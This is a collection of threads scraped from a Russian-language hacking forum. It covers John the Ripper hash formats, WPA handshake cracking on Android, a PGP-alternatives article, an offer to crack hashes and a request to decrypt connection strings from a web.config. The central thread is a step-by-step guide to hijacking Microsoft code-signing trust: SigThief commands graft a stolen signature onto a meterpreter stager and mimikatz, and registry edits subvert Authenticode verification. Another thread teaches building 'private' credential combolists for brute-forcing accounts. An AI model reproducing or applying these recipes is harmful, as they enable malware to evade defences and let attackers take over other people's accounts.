Format = dynamic_411 type = dynamic_411: keccak_256($s.$p)
Format = dynamic_412 type = dynamic_412: keccak_256($p.$s)
Format = dynamic_413 type = dynamic_413: keccak_256(keccak_256($p))
Format = dynamic_414 type = dynamic_414: keccak_256(keccak_256_raw($p))
Format = dynamic_415 type = dynamic_415: keccak_256(keccak_256($p).$s)
Format = dynamic_416 type = dynamic_416: keccak_256($s.keccak_256($p))
Format = dynamic_417 type = dynamic_417: keccak_256(keccak_256($s).keccak_256($p))
Format = dynamic_418 type = dynamic_418: keccak_256(keccak_256($p).keccak_256($p))
Format = dynamic_420 type = dynamic_420: keccak_512($p)
Format = dynamic_421 type = dynamic_421: keccak_512($s.$p)
Format = dynamic_422 type = dynamic_422: keccak_512($p.$s)
Format = dynamic_423 type = dynamic_423: keccak_512(keccak_512($p))
Format = dynamic_424 type = dynamic_424: keccak_512(keccak_512_raw($p))
Format = dynamic_425 type = dynamic_425: keccak_512(keccak_512($p).$s)
Format = dynamic_426 type = dynamic_426: keccak_512($s.keccak_512($p))
Format = dynamic_427 type = dynamic_427: keccak_512(keccak_512($s).keccak_512($p))
Format = dynamic_428 type = dynamic_428: keccak_512(keccak_512($p).keccak_512($p))
UserFormat = dynamic_1001 type = dynamic_1001: md5(md5(md5(md5($p))))
UserFormat = dynamic_1002 type = dynamic_1002: md5(md5(md5(md5(md5($p)))))
UserFormat = dynamic_1003 type = dynamic_1003: md5(md5($p).md5($p))
UserFormat = dynamic_1004 type = dynamic_1004: md5(md5(md5(md5(md5(md5($p))))))
UserFormat = dynamic_1005 type = dynamic_1005: md5(md5(md5(md5(md5(md5(md5($p)))))))
UserFormat = dynamic_1006 type = dynamic_1006: md5(md5(md5(md5(md5(md5(md5(md5($p))))))))
UserFormat = dynamic_1007 type = dynamic_1007: md5(md5($p).$s) (vBulletin)
UserFormat = dynamic_1008 type = dynamic_1008: md5($p.$s) (RADIUS User- Password)
UserFormat = dynamic_1009 type = dynamic_1009: md5($s.$p) (RADIUS Responses)
UserFormat = dynamic_1010 type = dynamic_1010: md5($p null_padded_to_len_100) RAdmin v2.x MD5
UserFormat = dynamic_1011 type = dynamic_1011: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1012 type = dynamic_1012: md5($p.md5($s)) (webEdition CMS)
UserFormat = dynamic_1013 type = dynamic_1013: md5($p.PMD5(username)) (webEdition CMS)
UserFormat = dynamic_1014 type = dynamic_1014: md5($p.$s) (long salt)
UserFormat = dynamic_1015 type = dynamic_1015: md5(md5($p.$u).$s) (PostgreSQL 'pass the hash')
UserFormat = dynamic_1016 type = dynamic_1016: md5($p.$s) (long salt)
UserFormat = dynamic_1017 type = dynamic_1017: md5($s.$p) (long salt)
UserFormat = dynamic_1018 type = dynamic_1018: md5(sha1(sha1($p)))
UserFormat = dynamic_1019 type = dynamic_1019: md5(sha1(sha1(md5($p))))
UserFormat = dynamic_1020 type = dynamic_1020: md5(sha1(md5($p)))
UserFormat = dynamic_1021 type = dynamic_1021: md5(sha1(md5(sha1($p))))
UserFormat = dynamic_1022 type = dynamic_1022: md5(sha1(md5(sha1(md5($p)))))
UserFormat = dynamic_1023 type = dynamic_1023: sha1($p) (hash truncated to length 32)
UserFormat = dynamic_1024 type = dynamic_1024: sha1(md5($p)) (hash truncated to length 32)
UserFormat = dynamic_1025 type = dynamic_1025: sha1(md5(md5($p))) (hash truncated to length 32)
UserFormat = dynamic_1026 type = dynamic_1026: sha1(sha1($p)) (hash truncated to length 32)
UserFormat = dynamic_1027 type = dynamic_1027: sha1(sha1(sha1($p))) (hash truncated to length 32)
UserFormat = dynamic_1028 type = dynamic_1028: sha1(sha1_raw($p)) (hash truncated to length 32)
UserFormat = dynamic_1029 type = dynamic_1029: sha256($p) (hash truncated to length 32)
UserFormat = dynamic_1030 type = dynamic_1030: whirlpool($p) (hash truncated to length 32)
UserFormat = dynamic_1031 type = dynamic_1031: gost($p) (hash truncated to length 32)
UserFormat = dynamic_1032 type = dynamic_1032: sha1_64(utf16($p)) (PeopleSoft)
UserFormat = dynamic_1033 type = dynamic_1033: sha1_64(utf16($p).$s)
UserFormat = dynamic_1034 type = dynamic_1034: md5($p.$u) (PostgreSQL MD5)
UserFormat = dynamic_1300 type = dynamic_1300: md5(md5_raw($p))
UserFormat = dynamic_1350 type = dynamic_1350: md5(md5($s.$p):$s)
UserFormat = dynamic_1400 type = dynamic_1400: sha1(utf16($p)) (Microsoft CREDHIST)
UserFormat = dynamic_1401 type = dynamic_1401: md5($u.\nskyper\n.$p) (Skype MD5)
UserFormat = dynamic_1501 type = dynamic_1501: sha1($s.sha1($p)) (Redmine)
UserFormat = dynamic_1502 type = dynamic_1502: sha1(sha1($p).$s) (XenForo SHA-1)
UserFormat = dynamic_1503 type = dynamic_1503: sha256(sha256($p).$s) (XenForo SHA-256)
UserFormat = dynamic_1504 type = dynamic_1504: sha1($s.$p.$s)
UserFormat = dynamic_1505 type = dynamic_1505: md5($p.$s.md5($p.$s))
UserFormat = dynamic_1506 type = dynamic_1506: md5($u.:XDB:.$p) (Oracle 12c "H" hash)
UserFormat = dynamic_1507 type = dynamic_1507: sha1(utf16($const.$p)) (Mcafee master pass)
UserFormat = dynamic_1518 type = dynamic_1518: md5(sha1($p).md5($p).sha1($p))
UserFormat = dynamic_1528 type = dynamic_1528: sha256($s.$p.$s) (Telegram for Android)
UserFormat = dynamic_1529 type = dynamic_1529: sha1($p null_padded_to_len_32) (DeepSound)
UserFormat = dynamic_1550 type = dynamic_1550: md5($u.:mongo:.$p) (MONGODB-CR system hash)
UserFormat = dynamic_1551 type = dynamic_1551: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1552 type = dynamic_1552: md5($s.$u.(md5($u.:mongo:.$p)) (MONGODB-CR network hash)
UserFormat = dynamic_1560 type = dynamic_1560: md5($s.$p.$s2) (SocialEngine)
UserFormat = dynamic_1588 type = dynamic_1588: sha256($s.sha1($p)) (ColdFusion 11)
UserFormat = dynamic_1590 type = dynamic_1590: sha1(utf16be(space_pad_10(uc($s)).$p)) (IBM AS/400 SHA1)
UserFormat = dynamic_1592 type = dynamic_1592: sha1($s.sha1($s.sha1($p))) (wbb3)
UserFormat = dynamic_1600 type = dynamic_1600: sha1($s.utf16le($p)) (Oracle PeopleSoft PS_TOKEN)
UserFormat = dynamic_1602 type = dynamic_1602: sha256(#.$salt.-.$pass) (QAS vas_auth)
UserFormat = dynamic_1608 type = dynamic_1608: sha256(sha256_raw(sha256_raw($p))) (Neo Wallet)
UserFormat = dynamic_2000 type = dynamic_2000: md5($p) (PW > 55 bytes)
UserFormat = dynamic_2001 type = dynamic_2001: md5($p.$s) (joomla) (PW > 23 bytes)
UserFormat = dynamic_2002 type = dynamic_2002: md5(md5($p)) (e107) (PW > 55 bytes)
UserFormat = dynamic_2003 type = dynamic_2003: md5(md5(md5($p))) (PW > 55 bytes)
UserFormat = dynamic_2004 type = dynamic_2004: md5($s.$p) (OSC) (PW > 31 bytes)
UserFormat = dynamic_2005 type = dynamic_2005: md5($s.$p.$s) (PW > 31 bytes)
UserFormat = dynamic_2006 type = dynamic_2006: md5(md5($p).$s) (PW > 55 bytes)
UserFormat = dynamic_2008 type = dynamic_2008: md5(md5($s).$p) (PW > 23 bytes)
UserFormat = dynamic_2009 type = dynamic_2009: md5($s.md5($p)) (salt > 23 bytes)
UserFormat = dynamic_2010 type = dynamic_2010: md5($s.md5($s.$p)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2011 type = dynamic_2011: md5($s.md5($p.$s)) (PW > 32 or salt > 23 bytes)
UserFormat = dynamic_2014 type = dynamic_2014: md5($s.md5($p).$s) (PW > 55 or salt > 11 bytes)

_И сравните с Hashcat-ом (последний курит в сторонке по кол-ву поддерживаемых динамических форматов, так же JtR даст прикурить и по другим причинам Hashcat-у, но иногда и наоборот, эти кровавые разборки в отдельной главе (JtR

  • на хак.сленге "кровотечение")._

Придется поверить, что это "технический PR" у Hashcat, не более.

Но это ещё не всё.
В своих высказываниях вы неоднократно утверждали, что на Андроиде также можно вполне успешно запускать брутфорс рукопожатий. И несмотря на более скромные ресурсы гаджетов, благодаря каким-то сверхъестественным способностям софта, брутфорс handshake в android имеет место быть )) Что это за программы, откуда их установить и на какие кнопки нажимать ?

Да, успешно и "сверхъестественный" софт - это HSD (разработка от разработчика JtR), он и не требует описания, там GUI все в выпадающем списке есть. Я же "там" подробный скрин прикладывал. И все ссылки на HSD-приложение (+консольные грубые сборки Android) в статье см.


1-е приложение по списку Мобильная лаборатория на Android для тестирования на проникновение

В центре бенчмарк WPA-PSK (без поддержки pmkid - писал почему)
Слева снизу сбрученный пароль от точки атакой по словарю с "коверканьем слов"

Кнопок там "кот наплакал" - немного, осваивать даже ничего не надо. Всё заводиться, как на планшете так и на смартфоне с полпинка.

Вот еще пример: "процесс взлома по цифре длина 8-8" на паршивом гаджете (гораздо слабее, чем "дружок" выше)

Троиточее в правом верх.углу на скрине "Import" выбираете рукопожатие.cap, выбираете параметры атаки и "play"

ps/ Да, консольные сборки в Andrax/Termux не понравились (поддержка тех же 10-и форматов, но потеря производительности существенная по сравнению с HSD- Android).

В сборке GUI- Free для Windows, функционал урезан, что-то там, до нескольких форматов, но wpa-psk поддерживает/криво.
UPD: в сборке JTR 1-9 все норм с wpapcap2john (исправлен).

Автор: @am29f010b
взято с codeby

Угон сертификата подписи Microsoft
ID: 676536fbb4103b69df3738e8
Thread ID: 29419
Created: 2019-05-20T16:38:49+0000
Last Post: 2019-05-20T16:38:49+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Угон сертификата подписи Microsoft

Code Signing сертификат – это сертификат, которым подписывается программное обеспечение или скрипты, который подтверждает автора программы и гарантирует, что код не был изменен, после того, как была наложена цифровая подпись. Также их еще называют сертификаты разработчика.

Во всех современных версиях Windows, начиная с Windows XP SP2, при установке программного обеспечения без такой цифровой подписи вы получите предупреждение. То же самое, кстати касается и установки драйверов, которые не имеют соответствующей цифровой подписи.

Microsoft Authenticode - для подписи 32 и 64 битных файлов (.exe, .cab, .dll, .ocx, .msi, .xpi и .xap файлы). Также позволяет подписывать код для Microsoft® Office, Microsoft VBA, Netscape Object Signing и Marimba Channel Signing.
Сертификаты подписи кода уже несколько лет используются злоумышленниками для обхода антивирусов и установки вредоносных программ. Ещё в 2010 году исследователи обратили внимание на образцы зловредов с сертификатами, скопированными из «чистых» файлов. Одной из первых «чёрные» сертификаты начала продавать хакерская группа C@T. В марте 2015 года на известном российском форуме Antichat она предлагала сертификаты Microsoft Authenticode. По заявлениям C@T, подпись кода таким сертификатом повышает процент успешных установок малвари на 30−50%.

Click to expand...

Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@Lopi .

Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.

Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .
Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.

Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.
Хакеры обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.

SigThief - это инструмент для быстрого тестирования, в нашем случае - кражи подписей**.** Короче говоря, он будет срывать подпись с подписанного PE- файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.

КАК ПОЛЬЗОВАТЬСЯ

Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.

Сохраните подпись на диск для последующего использования

$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.

Используйте вырванную подпись

$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.

Сократить (удалить) подпись

$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.

Проверьте, есть ли подпись

$ ./sigthief.py -i tcpview.exe -c
Inputfile is signed!

**Руководство **

  1. Загрузите mimikatz: https: // github.com/gentilkiwi/mimikatz

  2. Загрузите SigThief: https: // github.com/secretsquirrel/SigThief

  3. Запустите следующую команду

sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe

  1. Ослабьте цель, изменив следующие ключи реестра (32 бита)
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue

  2. Ослабьте цель, изменив следующие ключи реестра (64 бит)
    HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue

  3. Проверьте, действительна ли эта подпись с PowerShel
    Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe

  4. Начните новый процесс, чтобы угон вступил в силу:
    powershell.exe
    Примечание: это может быть любой процесс

  5. Microsoft подписал mimikatz

Сценарий SubvertTrust Powershell

Можно скачать здесь .

Успешно протестировано в Win7_x86 и Win10_x64.

(c) Voron , взято с codeby

Создание приват баз для новичков
ID: 676536fbb4103b69df3738e9
Thread ID: 29298
Created: 2019-05-14T14:37:00+0000
Last Post: 2019-05-16T12:20:09+0000
Author: APAXUCY
Prefix: Статья
Replies: 2 Views: 2K

Привет начинающий брутер.
Если ты не понимаешь или же не знаешь что да как в этой сфере, добро пожаловать, ты попал на нужную страницу.

Новичок, зачастую, тот, который уже ознакомился с тем - что такое Брут/Чекер/Прокси задает себе подобные вопросы:
где скачать базу для брута?

И каждый ведь из нас хочет достать oveeeer9999 аккаунтов Steam c CS:GO .
Так вот, в данной теме я расскажу как же можно создавать приват базы.
Все созданные тобой базки будут фулл приват.

Но на выходе тебя так же приятно удивит валид базы (не всегда, зависит что вы брали за основу)

Данный материал поможет разобраться тебе в этом.

Не большое отступление/пояснение:

1. Что же за материал нам понадобиться?
! Нам понадобиться исходная базка.
! На понадобиться паблик софт - который лежит в открытом доступе, все предоставлю
! Ни какие прокси нам не нужны, софт работает без проксей, да и не к чему они там.
2. С какими базами мы будем работать?
! Лучше всего базы получаются ZABUGOR
! MYR базы можете по-пробывать, но ничего не обещаю
3. После того как я выучу твой способ, я создам базку мега жирную, и окуплю ее на игровые запросы?
! Нет, все что у вас получиться это только 100% приватная базка
! Валид данной базки будет минимальный (бывает и хороший валид)
! Я не обещаю мега жир базу, но вытащить что-то годное можно

Так же прошу учитывать вас, что вы берета за материал паблик не валид базу.
И что на выходе вы получаете фулл приват базу.

Примерный валид в базе:

1к строк ~ 50 почт валид/приват
5к строк ~ 150 почт валид/приват
10к ~ 250 почт валид/приват

И так, барабанная дробь приступаем к самому способу.

Первая стадия:

1. После того как скачали базку, проверьте ее на дубликаты, нормалезируйте (весь софт предоставлю)
2. После первого пункта, берем софт который автоматически рандомно редактирует пароль
Скачать
(Софт не сложный, всего 2 кнопки)
[IMG]

4. Прогнав базу через данный софт вы получаете на выходе, фулл приватную базу.
(Софт добавляет, удаляет цифры буквы с логина и пароля, либо меняет их, сам не пойму по какому методу он работает)
5. Наш фулл приват ГОТОВ

Приступаем ко второй стадии:

1. Нам нужен софт который так же поменяет нашу базу как и в первой стадии (но уже по другому)
:
[Скачать](https://mega.nz/#!S0dVHQrL!4dBCG531IS8Pib8JS1eULfn8s7sbKraiTcnrXlTP- Pw)

[IMG]
2. Много столбиков, не пугайтесь, это различные переменные которые я дам ниже. С их помощью вы сможете сделать собственный конфиг
: ПЕРЕМЕННЫЕ
3. Предоставляю конфиг которым я пользуюсь в основном.
: КОНФИГ
Как же открыть конфиг?
Гайд:
[IMG]

Нажимаем на "Загрузить" и выбираем Ваш конфиг.

4. После того как вы загрузили конфиг, у вас получиться вот так:
Где красные галочки, нажмите на них, что бы данные переменные работали
[IMG]
5. Загружаем базу в разделе "Аккаунты":
Нажимаете на картинку папочки и выбираете расположение вашей базы
6. Раздел "Свои пароли" дам пояснение:
Если у вас есть пароли которые стандарные и масса людей их использует к примеру "qwe123"
То вы загружаете их в данном разделе, и к вашей загруженной базе добавятся ваши пароли.

Нажимаем СТАРТ

Дальше думаю понятно, результаты сохраняются автоматически.

Небольшое подтверждение валида на выходе.
Не гарантирую что при каждом прогоне баз вы получите хороший валид.
Бывают и не удачные базки.

[IMG]

Тапками не бросаться за ошибки (если таковы есть) пишу сонный.

Отвечу на любые вопросы в теме/лс/скайпе и прочее

VT на все софты:
Первый софт
Второй софт

Не большой словарь:
Фулл приват - полность приватная база 100%
------------------------------------------------------------------------------------------------
Переменные - то что софт будет менять в базе (буквы, реестр, цифры, удаление добавление чего либо)
------------------------------------------------------------------------------------------------
Жирная базка - базка при чеке которой, у вас выйдет много ваших запросов
------------------------------------------------------------------------------------------

Расшифрую HASH'ы
ID: 676536fbb4103b69df3738eb
Thread ID: 29027
Created: 2019-04-28T16:29:01+0000
Last Post: 2019-04-28T16:29:01+0000
Author: NyanCat
Replies: 0 Views: 2K

йоу, всем! расшифрую HASH'ы с теслы P100 ибо взял на тест, пасс восстановил. Ну а ресурс без дела стоит, собсна дам часов на 5 серв с GPU NVIDIA TESLA P100.

вот пример хэшрейт scallion перебора 9 символов мой TorChat id nyancatpmgn5zyc5.onion​

HashCount:2387079.07MH| Speed:6070.8MH/s| Runtime:00:06:33| Predicted:00:48:17
---|---|---|---

Современные альтернативы PGP
ID: 676536fbb4103b69df3738ed
Thread ID: 28591
Created: 2019-04-04T17:25:48+0000
Last Post: 2019-04-04T17:25:48+0000
Author: tabac
Replies: 0 Views: 2K

Современные альтернативы PGP

В наше время шифрование актуально как никода. Общение перемещается в мессенджеры, люди продолжают шифровать электронные сообщения цифровыми сертификатами, но иногда это может потребовать дополнительных усилий, включая обмен ключами через сеть доверия. В таких условиях даже некоторые давние приверженцы криптографии вынуждены отказаться от PGP. Для защищённого обмена сообщениями гораздо удобнее мессенджеры с открытым исходным кодом и надёжным end-to-end шифрованием, такие как Signal (см. руководство от Фонда электронных рубежей).

В то же время PGP по-прежнему используется в «машинных» операциях: для подписи пакетов, шифрования файлов на диске и т. д. Но и здесь PGP постепенно выходит из использования. Например, в сообществе Go предлагают прекратить поддержку пакета OpenPGP, из-за «древнего протокола, который до сих пор вызывает серьёзные уязвимости», а также из-за нерешённой проблемы обмена ключами и, главное, из-за устаревшей реализации самого протокола.

Почему даже старые пользователи отказываются от PGP, пишет известный специалист по информационной безопасности Филиппо Валсорда, который входит в криптогруппу компании Cloudflare и известен как автор сервиса для тестирования на уязвимость Heartbleed:

Во-первых, никуда не исчезла проблема малопопулярности шифрования, о которой другие много говорили. Я получал максимум два зашифрованных письма в год.

Затем, проблема неудобства. Легко допустимые критические ошибки. Путаные листинги серверов с ключами многолетней давности. «Я не могу прочитать это письмо на своём телефоне». «Или на ноутбуке, я оставил ключи, которые никогда не использую, на другой машине».

Но настоящие проблемы, которые я увидел, гораздо более тонкие. Я никогда не чувствовал, что мои долговременные ключи находятся в безопасности. Чем больше проходило времени, тем меньше была уверенность в каждом конкретном из них. Ключи YubiKey могут перехватить в номере гостиницы. Офлайновые ключи могут остаться в далёком ящике или сейфе. Могут объявить о новых уязвимостях. К USB-устройствам могут подключиться.

Безопасность долговременных ключей соответствует минимальному общему делителю ваших действий в области безопасности на протяжении всей жизни. Это слабое звено.

Что ещё хуже, существующие практики обращения с долговременными ключами, такие как сбор подписей ключей и печать отпечатков открытых ключей на визитных карточках, противоречат другим шаблонам поведения, которые в ином случае считались бы очевидной гигиенической рутиной: часто менять ключи, иметь различные ключи на разных устройствах, применять компартментализацию (разные профили мышления в разных областях, например, на работе и дома — прим.пер.). Существующие практики обращения с долговременными ключами на самом деле расширяют вектор атаки, поскольку подталкивают делать резервные копии ключей.

Click to expand...

Это довольно ёмкое объяснение. Но возникает вопрос: если не PGP, то что тогда использовать? С электронной почтой понятно, её можно заменить на мессенджеры с надёжным end-to-end шифрованием. Но что использовать для подписи пакетов и программных обновлений и шифрования файлов? К счастью, здесь тоже есть современные альтернативы.

Подписи пакетов

Дистрибутивы Linux и системы обновления многих программ используют подписи PGP, чтобы гарантировать аутентичность файлов.

Для подписи пакетов есть простые альтернативы, например, signify (sign and verify) от OpenBSD и minisign. Это экстремально простые утилиты, но благодаря этому исключительно надёжные. Обе работают с единственным алгоритмом Ed25519 (ErDSA): это схема цифровой подписи использующая вариант схемы Шнорра на эллиптической кривой Эдвардса. Она спроектирована с расчётом на максимальную скорость и работает гораздо быстрее RSA. Поскольку обе утилиты основаны на одном алгоритме, то их цифровые подписи совместимы между собой, то есть signify может проверять подписи, сгенерированные minisign, и наоборот.

Это самые минималистичные альтернативы, без малейшей дополнительной функциональности. Если вы управляете серьёзной инфраструктурой с раздачей пакетов и требуется более функциональный вариант, то можно обратить внимание на The Update Framework (TUF): гибкий фреймворк, который адаптируется для любого механизма программных обновлений.

Разработчики пишут, что TUF используется в продакшне такими компаниями как Cloudflare, Docker, DigitalOcean, Flynn, IBM, Microsoft, LEAP, Kolide и Vmware, а вариант TUF под названием Uptane широко применяется для обновлений автомобильного программного обеспечения по сети.

Реализация TUF для пакетной инфраструктуры Python: PEP 458, PEP 480. На TUF основан проект Notary с готовой к использованию и проверенной клиент-серверной реализацией.

Шифрование файлов

Современные альтернативы nacl/box и nacl/secretbox — универсальные программы для шифрования любых данных. Поддерживают симметричное и асимметричное шифрование, современные шифры и протоколы.

Сервис Keybase подходит для шифрования сообщений в чатах, писем электронной почты, файлов или любых других данных. Главный сайт Keybase — это каталог открытых ключей, который сопоставляет профили социальных сетей с ключами шифрования. Keybase также предлагает зашифрованные чат (Keybase Chat), облачную систему хранения файлов (файловая система Keybase или KBFS) и Git-репозитории.


Файловая система KBFS, смонтированная Keybase

В целом, это вполне функциональная альтернатива PGP для шифрования данных.

Передача зашифрованных файлов

В прошлом веке было принято шифровать файл, защищать его паролем и передавать как вложение по электронной почте. Такой вариант возможен и сегодня, но есть более современные альтернативы. Например, совсем недавно вышел из беты сервис Firefox Send для обмена шифрованными файлами. Файлы шифруются на компьютере отправителя, а расшифровываются на компьютере получателя (JS в браузере). Сервис генерирует ссылку на файл с ограничением на время жизни или количество скачиваний.

Если вы не доверяете JS, то шифровать файлы можно, например, с помощью программы [magic-wormhole](https://magic- wormhole.readthedocs.io/en/latest/welcome.html). Программа устанавливается на компьютерах отправителя и получателя, использует современную криптографическую технику [PAKE](https://blog.cryptographyengineering.com/2018/10/19/lets-talk- about-pake/) (password-authenticated key agreement) и генерирует пароли из нескольких слов, пробивает файрволы и поддерживает Tor.

Мы живём в 21 веке. Есть гораздо лучшие варианты, чем отправлять зашифрованные файлы по почте.

(хабр)

asp.net ... sha256 base64? хз
ID: 676536fbb4103b69df3738ef
Thread ID: 27859
Created: 2019-02-14T08:13:08+0000
Last Post: 2019-02-14T08:13:08+0000
Author: x999xx
Replies: 0 Views: 2K

вообщем есть вот такое

Spoiler: 6

Code:Copy to clipboard

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <appSettings>
    <add key="aspnet:UseTaskFriendlySynchronizationContext" value="true" />
    <add key="Environment" value="blabla" />
    <!--Required for Ovs.Web.Security.AuthenticationData-->
    <add key="EncryptedKey" value="SudfOmm6aKo4gTJMXDawXbaSM9xDtGh79O/XBMdPv4cGiOGWx8A2XY8goyGj8yaS" />
    <add key="WsDbKey" value="QZbT3AxQz6BRg7rJYlSCvhiF7o2JaJbVmshXEGgPY8DyWV3D84P5uRSMtuJma2iR" />
    <add key="CngEncryptionKey" value="/nVHJJw99+78/otEt/WhjpKUzA6YufibT8DV8i4hga0=" />
   ...
  </appSettings>
  <connectionStrings>
    <add name="MySqlConnectionString" connectionString="ipAYCyBJeSOHJb3hYunUqLi7O1J55Qc8FHCJQ0zI/9vDqNuY58iytgwA3OfiQuwF5LQMfdG1+xs5OxcMTr8b4g6MxlHPnle1GkUat6+ixcw=" />
    <add name="WsDb" connectionString="/T+oBS9uIN58IS/EHN1K+BSEMPTa1NPZ8kzOVYTZXfZ9JYZDOtid/FQgOYiQsOCeXcjHKC98CW4x6e7PfmYD5uVHjeVhcQOFhnWgQqTnEm8=" />
  </connectionStrings>
  <system.web>
    <compilation targetFramework="4.6.2" />
    <httpRuntime targetFramework="4.6.1" />
    <customErrors mode="Off" />
  </system.web>
  <system.serviceModel>
    <behaviors>
      <endpointBehaviors>
        <behavior name="jsonBehavior">
          <webHttp />
        </behavior>
      </endpointBehaviors>
      <serviceBehaviors>
        <behavior>
          <!-- To avoid disclosing metadata information, set the values below to false before deployment -->
          <serviceMetadata httpGetEnabled="false" httpsGetEnabled="true" />
          <!-- To receive exception details in faults for debugging purposes, set the value below to true.  Set to false before deployment to avoid disclosing exception information -->
          <serviceDebug includeExceptionDetailInFaults="false" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
    <protocolMapping>
      <add binding="basicHttpsBinding" scheme="https" />
    </protocolMapping>
    <serviceHostingEnvironment aspNetCompatibilityEnabled="true" multipleSiteBindingsEnabled="true" />
    <services>
      <service name="Ovs.Insurance.Svc.Tii">
        <endpoint name="EndpointSoap" address="soap" binding="basicHttpsBinding" bindingConfiguration="basicBinding" contract="Ovs.Insurance.Svc.ITii" />
        <endpoint name="EndpointJson" address="json" binding="webHttpBinding" behaviorConfiguration="jsonBehavior" bindingConfiguration="webBinding" contract="Ovs.Insurance.Svc.ITii" />
      </service>
      <service name="Ovs.Insurance.Svc.Csa">
        <endpoint name="EndpointSoap" address="soap" binding="basicHttpsBinding" bindingConfiguration="basicBinding" contract="Ovs.Insurance.Svc.ICsa" />
        <endpoint name="EndpointJson" address="json" binding="webHttpBinding" behaviorConfiguration="jsonBehavior" bindingConfiguration="webBinding" contract="Ovs.Insurance.Svc.ICsa" />
      </service>
    </services>
    <bindings>
      <basicHttpsBinding>
        <binding name="Ovs.Insurance.Svc.TiiSoap">
          <security mode="Transport" />
        </binding>
        <binding name="basicBinding" maxReceivedMessageSize="65536">
          <security mode="Transport">
            <transport clientCredentialType="None" proxyCredentialType="None" realm="" />
          </security>
          <readerQuotas maxDepth="32" maxStringContentLength="12288" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384" />
        </binding>
      </basicHttpsBinding>
      <webHttpBinding>
        <binding name="webBinding" maxReceivedMessageSize="65536">
          <security mode="Transport">
            <transport clientCredentialType="None" proxyCredentialType="None" realm="" />
          </security>
          <readerQuotas maxDepth="32" maxStringContentLength="12288" maxArrayLength="16384" maxBytesPerRead="4096" maxNameTableCharCount="16384" />
        </binding>
      </webHttpBinding>
    </bindings>
  </system.serviceModel>
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true" />
    <directoryBrowse enabled="true" />
  </system.webServer>
  <runtime>
    <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
      <dependentAssembly>
        <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-4.1.1.2" newVersion="4.1.1.2" />
      </dependentAssembly>
      <dependentAssembly>
        <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
        <bindingRedirect oldVersion="0.0.0.0-10.0.0.0" newVersion="10.0.0.0" />
      </dependentAssembly>
    </assemblyBinding>
  </runtime>
  <system.data>
    <DbProviderFactories>
      <remove invariant="MySql.Data.MySqlClient" />
      <add name="MySQL Data Provider" invariant="MySql.Data.MySqlClient" description=".Net Framework Data Provider for MySQL" type="MySql.Data.MySqlClient.MySqlClientFactory, MySql.Data, Version=6.7.9.0, Culture=neutral, PublicKeyToken=c5687fc88969c44d" />
    </DbProviderFactories>
  </system.data>
</configuration>
<!--ProjectGuid: 0620DD1C-1977-4B47-9E08-F42F8F3A695F-->

как мне расхешить connectionStrings?

вот скрипт вчера накидывал, но никак и нивкакую ничего не получалось ((

Spoiler: 4

PHP:Copy to clipboard

<?php

// 32 byte binary blob
$aes256Key = hash("SHA256", $password, true);

// for good entropy (for MCRYPT_RAND)
srand((double) microtime() * 1000000);
// generate random iv
$iv = mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_CBC), MCRYPT_RAND);

//$crypted = fnEncrypt($messageClear, $aes256Key);
//$newClear = fnDecrypt($crypted, $aes256Key);
